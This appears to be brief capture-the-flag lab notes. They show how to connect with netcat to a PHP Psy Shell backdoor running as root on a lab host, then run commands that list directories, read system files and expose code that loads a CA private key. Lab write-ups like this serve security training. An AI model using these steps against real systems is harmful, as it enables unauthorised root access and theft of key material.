psy shell

psy shell commands

root@kali# rlwrap nc 10.10.10.131
6200 Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

getcwd()
=> "/"

get_current_user()
=> "root"

system('echo test');

phpinfo()

scandir("/home")

file_get_contents("/etc/os-release")

ls
Variables: $tokyo

show $tokyo
  > 2| class Tokyo {
    3|  private function sign($caCert,$userCsr) {
    4|          $caKey = file_get_contents('/home/nairobi/ca.key');
    5|          $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
    6|          openssl_x509_export($userCert, $userCertOut);
    7|          return $userCertOut;
    8|  }
    9| }

Last updated